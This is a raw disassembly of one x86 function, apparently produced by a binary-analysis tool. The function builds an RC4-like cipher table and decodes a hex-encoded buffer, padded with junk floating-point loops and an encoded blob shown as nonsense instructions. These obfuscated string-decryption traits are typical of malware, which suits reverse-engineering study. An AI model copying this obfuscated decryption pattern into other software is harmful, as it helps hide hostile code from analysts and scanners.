Function at 0x51001e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x99e1fe
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xf40
push ebx
push esi
push edi
mov byte [ebp - 0x245], 0
xor eax, eax
mov word [ebp - 0x214], ax
push 0x206
push 0
lea eax, [ebp - 0x212]
push eax
call fcn.00936130
add esp, 0xc
and dword [ebp - 0x22c], 0
and dword [ebp - 0x230], 0
fldz
fstp qword [ebp - 0x244]
fldz
fstp qword [ebp - 0x23c]
fldz
fstp qword [ebp - 0x23c]
jmp 0x51009f
fld qword [ebp - 0x23c]
fadd qword [0x9a1318]
fstp qword [ebp - 0x23c]
fld qword [0x9a1ad8]
fcomp qword [ebp - 0x23c]
fnstsw ax
test ah, 0x41
jne 0x510128
fld qword [0x9a1ad0]
fmul qword [ebp - 0x23c]
fmul qword [ebp - 0x23c]
fld qword [ebp - 0x23c]
fmul qword [ebp - 0x23c]
fsubp st(1)
fld qword [0x9a1ac8]
fmul qword [ebp - 0x23c]
fmul qword [ebp - 0x23c]
fadd qword [0x9a1ac0]
fdivp st(1)
fadd qword [ebp - 0x244]
fstp qword [ebp - 0x244]
fld qword [0x9a1ab8]
fcomp qword [ebp - 0x244]
fnstsw ax
test ah, 5
jp 0x510123
fld qword [0x9a1ab0]
fmul qword [ebp - 0x23c]
fsubr qword [ebp - 0x244]
fstp qword [ebp - 0x244]
jmp 0x51008d
fldz
fcomp qword [ebp - 0x244]
fnstsw ax
test ah, 0x41
jne 0x51017f
jno 0x51016e
jbe 0x510173
jns 0x510179
js 0x510180
jb 0x51017b
insd dword es:[edi], dx
cmp ch, byte [edi + 0x3c]
jb 0x510187
outsd dx, dword [esi]
xor al, 0x6d
cmp dword [edi + 0x3d], esi
je 0x510190
jne 0x51018c
outsb dx, byte [esi]
xor eax, 0x416f3775
jbe 0x51018b
jno 0x510191
jns 0x510190
cmp dword [ebp + 0x70], esp
sub eax, 0x5a796c7e
inc ebp
pop ebx
and al, 0x33
sub ah, byte [eax]
push esi
pushal
inc ecx
push ecx
das
jb 0x5101e2
cmp esi, dword [esi]
cmp ch, byte [ebp + 0x6c]
cmp ch, byte ss:[ebp + 0x6c]
sub ch, byte [edi + ebp*2 - 0x17]
outsd dx, dword [esi]
jmp 0x511f67
call 0xc751019d
mov dword [ebp - 0x22c], 0x510137
mov dword [ebp - 0x230], 0x51015d
test esp, edx
std
invalid
push ecx
add bh, al
test eax, edx
sar ch, 1
std
invalid
add dword [ecx], edx
push ecx
add byte [ebx - 0x22b7b], cl
dec dword [ecx - 0x24f7b]
dec dword [ebx - 0x22f7b]
dec dword [ecx - 0x24b7b]
inc esi
test dword [ebx + 0x21fffffc], edx
mov eax, dword [ebp - 0x22c]
mov dword [ebp - 0x250], eax
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x24c], eax
mov byte [ebp - 0x36d], 0x21
and dword [ebp - 0x364], 0
jmp 0x5101c8
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0x100
jae 0x5101e9
mov eax, dword [ebp - 0x364]
mov cl, byte [ebp - 0x364]
mov byte [ebp + eax - 0x35c], cl
add eax, 0xfffffca4
jmp 0x5101bb
and dword [ebp - 0x254], 0
mov byte [ebp - 0x36e], 0
mov dword [ebp - 0x364], 0xff
jmp 0x510210
mov eax, dword [ebp - 0x364]
dec eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0
jbe 0x51048a
and dword [ebp - 0x374], 0
mov dword [ebp - 0x37c], 1
mov eax, dword [ebp - 0x37c]
cmp eax, dword [ebp - 0x364]
jae 0x51024e
mov eax, dword [ebp - 0x37c]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x37c], eax
jmp 0x51022e
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0xef8], eax
mov eax, dword [ebp - 0xef8]
mov dword [ebp - 0xefc], eax
cmp dword [ebp - 0xefc], 0
je 0x510293
sub dword [ebp - 0xefc], 1
je 0x5102bf
sub dword [ebp - 0xefc], 1
je 0x5102eb
sub dword [ebp - 0xefc], 1
je 0x510317
jmp 0x510343
movzx eax, byte [ebp - 0x36e]
movzx ebx, byte [ebp + eax - 0x35c]
fld qword [ebp - 0x244]
call fcn.00937726
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x36e], bl
jmp 0x51036a
movzx eax, byte [ebp - 0x36e]
movzx ebx, byte [ebp + eax - 0x35c]
fld qword [ebp - 0x244]
call fcn.00937726
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x36e], bl
jmp 0x51036a
movzx eax, byte [ebp - 0x36e]
movzx ebx, byte [ebp + eax - 0x35c]
fld qword [ebp - 0x244]
call fcn.00937726
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x36e], bl
jmp 0x51036a
movzx eax, byte [ebp - 0x36e]
movzx ebx, byte [ebp + eax - 0x35c]
fld qword [ebp - 0x244]
call fcn.00937726
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x36e], bl
jmp 0x51036a
movzx eax, byte [ebp - 0x36e]
movzx eax, byte [ebp + eax - 0x35c]
mov ecx, dword [ebp - 0x24c]
add ecx, dword [ebp - 0x254]
movzx ecx, byte [ecx - 4]
add eax, ecx
mov byte [ebp - 0x36e], al
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
movzx eax, byte [ebp - 0x36d]
cmp dword [ebp - 0x254], eax
jb 0x5103a3
and dword [ebp - 0x254], 0
movzx eax, byte [ebp - 0x36d]
movzx ecx, byte [ebp - 0x36e]
add ecx, eax
mov byte [ebp - 0x36e], cl
movzx eax, byte [ebp - 0x36e]
and eax, dword [ebp - 0x37c]
mov dword [ebp - 0x378], eax
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0xb
jbe 0x5103e0
mov eax, dword [ebp - 0x378]
xor edx, edx
div dword [ebp - 0x364]
mov dword [ebp - 0x378], edx
mov eax, dword [ebp - 0x378]
cmp eax, dword [ebp - 0x364]
ja 0x51024e
mov eax, dword [ebp - 0x364]
cmp eax, dword [ebp - 0x378]
je 0x510485
mov eax, dword [ebp - 0x378]
movzx eax, byte [ebp + eax - 0x35c]
mov ecx, dword [ebp - 0x364]
movzx ecx, byte [ebp + ecx - 0x35c]
xor ecx, eax
mov eax, dword [ebp - 0x364]
mov byte [ebp + eax - 0x35c], cl
mov eax, dword [ebp - 0x364]
movzx eax, byte [ebp + eax - 0x35c]
mov ecx, dword [ebp - 0x378]
movzx ecx, byte [ebp + ecx - 0x35c]
xor ecx, eax
mov eax, dword [ebp - 0x378]
mov byte [ebp + eax - 0x35c], cl
mov eax, dword [ebp - 0x378]
movzx eax, byte [ebp + eax - 0x35c]
mov ecx, dword [ebp - 0x364]
movzx ecx, byte [ebp + ecx - 0x35c]
xor ecx, eax
mov eax, dword [ebp - 0x364]
mov byte [ebp + eax - 0x35c], cl
jmp 0x510203
mov al, byte [ebp - 0x35b]
mov byte [ebp - 0x36f], al
mov al, byte [ebp - 0x359]
mov byte [ebp - 0x255], al
mov al, byte [ebp - 0x357]
mov byte [ebp - 0x35d], al
mov al, byte [ebp - 0x355]
mov byte [ebp - 0x365], al
movzx eax, byte [ebp - 0x36e]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp - 0x246], al
mov dword [ebp - 0x36c], 0x26
cmp dword [ebp - 0x36c], 2
jle 0x511f38
mov eax, dword [ebp - 0x36c]
and eax, 1
jne 0x511f38
and dword [ebp - 0x3d4], 0
and dword [ebp - 0x3d0], 0
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
and dword [ebp - 0x380], 0
mov eax, dword [ebp - 0x3d4]
shl eax, 1
mov dword [ebp - 0x380], eax
and dword [ebp - 0x3f0], 0
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x380]
movzx eax, byte [eax]
add eax, dword [ebp - 0x3f0]
mov dword [ebp - 0x3f0], eax
and dword [ebp - 0x3a8], 0
mov eax, dword [ebp - 0x3a8]
add eax, 0x6b
mov dword [ebp - 0x3a8], eax
and dword [ebp - 0x3b4], 0
mov eax, dword [ebp - 0x3d4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x3b4], eax
and dword [ebp - 0x400], 0
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x3b4]
movzx eax, byte [eax]
add eax, dword [ebp - 0x400]
mov dword [ebp - 0x400], eax
and dword [ebp - 0x3ec], 0
mov eax, dword [ebp - 0x3ec]
add eax, 0x32
mov dword [ebp - 0x3ec], eax
and dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x3f0]
sub eax, dword [ebp - 0x3a8]
add eax, dword [ebp - 0x3fc]
mov dword [ebp - 0x3fc], eax
and dword [ebp - 0x394], 0
mov eax, dword [ebp - 0x400]
sub eax, dword [ebp - 0x3ec]
add eax, dword [ebp - 0x394]
mov dword [ebp - 0x394], eax
and dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x3fc]
shl eax, 4
mov dword [ebp - 0x3f8], eax
and dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x3e8], eax
and dword [ebp - 0x3cc], 0
mov eax, dword [ebp - 0x3f8]
or eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x3cc], eax
mov byte [ebp - 0x3ad], 0
mov al, byte [ebp - 0x3cc]
mov byte [ebp - 0x3ad], al
mov byte [ebp - 0x3f1], 0
movzx eax, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp - 0x3f1], al
movzx eax, byte [ebp - 0x36f]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x255]
add ecx, eax
mov byte [ebp - 0x255], cl
mov al, byte [ebp - 0x36f]
add al, 1
mov byte [ebp - 0x36f], al
movzx eax, byte [ebp - 0x255]
movzx ecx, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x365]
movzx ecx, byte [ebp - 0x255]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
movzx ecx, byte [ebp - 0x365]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
mov cl, byte [ebp - 0x3f1]
mov byte [ebp + eax - 0x35c], cl
movzx eax, byte [ebp - 0x3f1]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x35d]
add ecx, eax
mov byte [ebp - 0x35d], cl
movzx eax, byte [ebp - 0x3ad]
movzx ecx, byte [ebp - 0x255]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x36f]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
movzx ecx, byte [ebp - 0x365]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x246]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
movzx edx, byte [ebp - 0x35d]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
mov byte [ebp - 0x365], al
mov al, byte [ebp - 0x3ad]
mov byte [ebp - 0x246], al
mov al, byte [ebp - 0x365]
mov byte [ebp - 0x3e1], al
cmp dword [ebp - 0x3d4], 0
jle 0x5107c5
mov eax, dword [ebp - 0x3d4]
mov cl, byte [ebp - 0x3e1]
mov byte [ebp + eax - 0x229], cl
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x3d4]
shl eax, 1
mov dword [ebp - 0x380], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x380]
movzx eax, byte [eax]
mov dword [ebp - 0x3f0], eax
mov dword [ebp - 0x3a8], 0x6b
mov eax, dword [ebp - 0x3d4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x3b4], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x3b4]
movzx eax, byte [eax]
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3ec], 0x32
mov eax, dword [ebp - 0x3f0]
sub eax, dword [ebp - 0x3a8]
mov dword [ebp - 0x3fc], eax
mov eax, dword [ebp - 0x400]
sub eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x3fc]
shl eax, 4
mov dword [ebp - 0x3f8], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x3e8], eax
mov eax, dword [ebp - 0x3f8]
or eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x3cc], eax
mov al, byte [ebp - 0x3cc]
mov byte [ebp - 0x3ad], al
movzx eax, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp - 0x3f1], al
movzx eax, byte [ebp - 0x36f]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x255]
add ecx, eax
mov byte [ebp - 0x255], cl
mov al, byte [ebp - 0x36f]
add al, 1
mov byte [ebp - 0x36f], al
movzx eax, byte [ebp - 0x255]
movzx ecx, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x365]
movzx ecx, byte [ebp - 0x255]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
movzx ecx, byte [ebp - 0x365]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
mov cl, byte [ebp - 0x3f1]
mov byte [ebp + eax - 0x35c], cl
movzx eax, byte [ebp - 0x3f1]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x35d]
add ecx, eax
mov byte [ebp - 0x35d], cl
movzx eax, byte [ebp - 0x3ad]
movzx ecx, byte [ebp - 0x255]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x36f]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
movzx ecx, byte [ebp - 0x365]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x246]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
movzx edx, byte [ebp - 0x35d]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
mov byte [ebp - 0x365], al
mov al, byte [ebp - 0x3ad]
mov byte [ebp - 0x246], al
mov al, byte [ebp - 0x365]
mov byte [ebp - 0x3e1], al
cmp dword [ebp - 0x3d4], 0
jle 0x510a18
mov eax, dword [ebp - 0x3d4]
mov cl, byte [ebp - 0x3e1]
mov byte [ebp + eax - 0x229], cl
mov eax, dword [ebp - 0x3d0]
add eax, 6
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x404], eax
jmp 0x510a43
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
mov eax, dword [ebp - 0x404]
cmp eax, dword [ebp - 0x3d0]
jge 0x510e3a
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
mov eax, dword [ebp - 0x3d4]
shl eax, 1
mov dword [ebp - 0x380], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x380]
movzx eax, byte [eax]
mov dword [ebp - 0x3f0], eax
mov dword [ebp - 0x3a8], 0x6b
fld dword [0x9a1aa8]
fstp dword [ebp - 0x40c]
fld dword [0x9a1aa4]
fstp dword [ebp - 0x408]
fld dword [0x9a1aa0]
fstp dword [ebp - 0x410]
fld dword [ebp - 0x40c]
fmul dword [ebp - 0x410]
fstp dword [ebp - 0x40c]
fld dword [ebp - 0x40c]
fsub dword [ebp - 0x410]
fstp dword [ebp - 0x40c]
fld dword [ebp - 0x408]
fmul dword [ebp - 0x410]
fstp dword [ebp - 0x408]
fld dword [ebp - 0x40c]
fld dword [ebp - 0x410]
fcompp
fnstsw ax
test ah, 0x41
jne 0x510bf3
fld dword [ebp - 0x40c]
fadd dword [ebp - 0x408]
fstp dword [ebp - 0x40c]
fld dword [ebp - 0x410]
fadd dword [ebp - 0x40c]
fstp dword [ebp - 0x410]
fld dword [ebp - 0x410]
fadd dword [ebp - 0x40c]
fstp dword [ebp - 0x410]
fld dword [ebp - 0x40c]
fdiv dword [ebp - 0x410]
fstp dword [ebp - 0x40c]
fld dword [ebp - 0x40c]
fdiv dword [ebp - 0x410]
fstp dword [ebp - 0x40c]
fld dword [ebp - 0x410]
fsub dword [ebp - 0x408]
fstp dword [ebp - 0x410]
fld dword [ebp - 0x410]
fld dword [ebp - 0x408]
fcompp
fnstsw ax
test ah, 0x41
jne 0x510bbb
fld dword [ebp - 0x408]
fmul dword [ebp - 0x40c]
fstp dword [ebp - 0x408]
fld dword [ebp - 0x40c]
fdiv dword [ebp - 0x410]
fstp dword [ebp - 0x40c]
fld dword [ebp - 0x40c]
fdiv dword [ebp - 0x410]
fstp dword [ebp - 0x40c]
jmp 0x510bf1
fld dword [ebp - 0x408]
fadd dword [ebp - 0x40c]
fstp dword [ebp - 0x408]
fld dword [ebp - 0x40c]
fadd dword [ebp - 0x410]
fstp dword [ebp - 0x40c]
fld dword [ebp - 0x408]
fsub dword [ebp - 0x40c]
fstp dword [ebp - 0x408]
jmp 0x510c39
fld dword [ebp - 0x410]
fmul dword [ebp - 0x408]
fstp dword [ebp - 0x410]
fld dword [ebp - 0x40c]
fmul dword [ebp - 0x410]
fstp dword [ebp - 0x40c]
fld dword [ebp - 0x410]
fadd dword [ebp - 0x408]
fstp dword [ebp - 0x410]
mov eax, dword [ebp - 0x3d4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x3b4], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x3b4]
movzx eax, byte [eax]
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3ec], 0x32
mov eax, dword [ebp - 0x3f0]
sub eax, dword [ebp - 0x3a8]
mov dword [ebp - 0x3fc], eax
mov eax, dword [ebp - 0x400]
sub eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x3fc]
shl eax, 4
mov dword [ebp - 0x3f8], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x3e8], eax
mov eax, dword [ebp - 0x3f8]
or eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x3cc], eax
mov al, byte [ebp - 0x3cc]
mov byte [ebp - 0x3ad], al
movzx eax, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp - 0x3f1], al
movzx eax, byte [ebp - 0x36f]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x255]
add ecx, eax
mov byte [ebp - 0x255], cl
mov al, byte [ebp - 0x36f]
add al, 1
mov byte [ebp - 0x36f], al
movzx eax, byte [ebp - 0x255]
movzx ecx, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x365]
movzx ecx, byte [ebp - 0x255]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
movzx ecx, byte [ebp - 0x365]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
mov cl, byte [ebp - 0x3f1]
mov byte [ebp + eax - 0x35c], cl
movzx eax, byte [ebp - 0x3f1]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x35d]
add ecx, eax
mov byte [ebp - 0x35d], cl
movzx eax, byte [ebp - 0x3ad]
movzx ecx, byte [ebp - 0x255]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x36f]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
movzx ecx, byte [ebp - 0x365]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x246]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
movzx edx, byte [ebp - 0x35d]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
mov byte [ebp - 0x365], al
mov al, byte [ebp - 0x3ad]
mov byte [ebp - 0x246], al
mov al, byte [ebp - 0x365]
mov byte [ebp - 0x3e1], al
cmp dword [ebp - 0x3d4], 0
jle 0x510e35
mov eax, dword [ebp - 0x3d4]
mov cl, byte [ebp - 0x3e1]
mov byte [ebp + eax - 0x229], cl
jmp 0x510a36
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x3d0]
add eax, 7
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x414], eax
jmp 0x510e72
mov eax, dword [ebp - 0x414]
inc eax
mov dword [ebp - 0x414], eax
mov eax, dword [ebp - 0x414]
cmp eax, dword [ebp - 0x3d0]
jge 0x5110cf
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
mov eax, dword [ebp - 0x3d4]
shl eax, 1
mov dword [ebp - 0x380], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x380]
movzx eax, byte [eax]
mov dword [ebp - 0x3f0], eax
mov dword [ebp - 0x3a8], 0x6b
mov eax, dword [ebp - 0x3d4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x3b4], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x3b4]
movzx eax, byte [eax]
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3ec], 0x32
mov eax, dword [ebp - 0x3f0]
sub eax, dword [ebp - 0x3a8]
mov dword [ebp - 0x3fc], eax
mov eax, dword [ebp - 0x400]
sub eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x3fc]
shl eax, 4
mov dword [ebp - 0x3f8], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x3e8], eax
mov eax, dword [ebp - 0x3f8]
or eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x3cc], eax
mov al, byte [ebp - 0x3cc]
mov byte [ebp - 0x3ad], al
movzx eax, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp - 0x3f1], al
movzx eax, byte [ebp - 0x36f]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x255]
add ecx, eax
mov byte [ebp - 0x255], cl
mov al, byte [ebp - 0x36f]
add al, 1
mov byte [ebp - 0x36f], al
movzx eax, byte [ebp - 0x255]
movzx ecx, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x365]
movzx ecx, byte [ebp - 0x255]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
movzx ecx, byte [ebp - 0x365]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
mov cl, byte [ebp - 0x3f1]
mov byte [ebp + eax - 0x35c], cl
movzx eax, byte [ebp - 0x3f1]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x35d]
add ecx, eax
mov byte [ebp - 0x35d], cl
movzx eax, byte [ebp - 0x3ad]
movzx ecx, byte [ebp - 0x255]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x36f]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
movzx ecx, byte [ebp - 0x365]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x246]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
movzx edx, byte [ebp - 0x35d]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
mov byte [ebp - 0x365], al
mov al, byte [ebp - 0x3ad]
mov byte [ebp - 0x246], al
mov al, byte [ebp - 0x365]
mov byte [ebp - 0x3e1], al
cmp dword [ebp - 0x3d4], 0
jle 0x5110ca
mov eax, dword [ebp - 0x3d4]
mov cl, byte [ebp - 0x3e1]
mov byte [ebp + eax - 0x229], cl
jmp 0x510e65
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x3d4]
shl eax, 1
mov dword [ebp - 0x380], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x380]
movzx eax, byte [eax]
mov dword [ebp - 0x3f0], eax
mov dword [ebp - 0x3a8], 0x6b
mov eax, dword [ebp - 0x3d4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x3b4], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x3b4]
movzx eax, byte [eax]
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3ec], 0x32
mov eax, dword [ebp - 0x3f0]
sub eax, dword [ebp - 0x3a8]
mov dword [ebp - 0x3fc], eax
mov eax, dword [ebp - 0x400]
sub eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x3fc]
shl eax, 4
mov dword [ebp - 0x3f8], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x3e8], eax
mov eax, dword [ebp - 0x3f8]
or eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x3cc], eax
mov al, byte [ebp - 0x3cc]
mov byte [ebp - 0x3ad], al
movzx eax, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp - 0x3f1], al
movzx eax, byte [ebp - 0x36f]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x255]
add ecx, eax
mov byte [ebp - 0x255], cl
mov al, byte [ebp - 0x36f]
add al, 1
mov byte [ebp - 0x36f], al
movzx eax, byte [ebp - 0x255]
movzx ecx, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x365]
movzx ecx, byte [ebp - 0x255]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
movzx ecx, byte [ebp - 0x365]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
mov cl, byte [ebp - 0x3f1]
mov byte [ebp + eax - 0x35c], cl
movzx eax, byte [ebp - 0x3f1]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x35d]
add ecx, eax
mov byte [ebp - 0x35d], cl
movzx eax, byte [ebp - 0x3ad]
movzx ecx, byte [ebp - 0x255]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x36f]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
movzx ecx, byte [ebp - 0x365]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x246]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
movzx edx, byte [ebp - 0x35d]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
mov byte [ebp - 0x365], al
mov al, byte [ebp - 0x3ad]
mov byte [ebp - 0x246], al
mov al, byte [ebp - 0x365]
mov byte [ebp - 0x3e1], al
cmp dword [ebp - 0x3d4], 0
jle 0x51132f
mov eax, dword [ebp - 0x3d4]
mov cl, byte [ebp - 0x3e1]
mov byte [ebp + eax - 0x229], cl
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x3d4]
shl eax, 1
mov dword [ebp - 0x380], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x380]
movzx eax, byte [eax]
mov dword [ebp - 0x3f0], eax
mov dword [ebp - 0x3a8], 0x6b
mov eax, dword [ebp - 0x3d4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x3b4], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x3b4]
movzx eax, byte [eax]
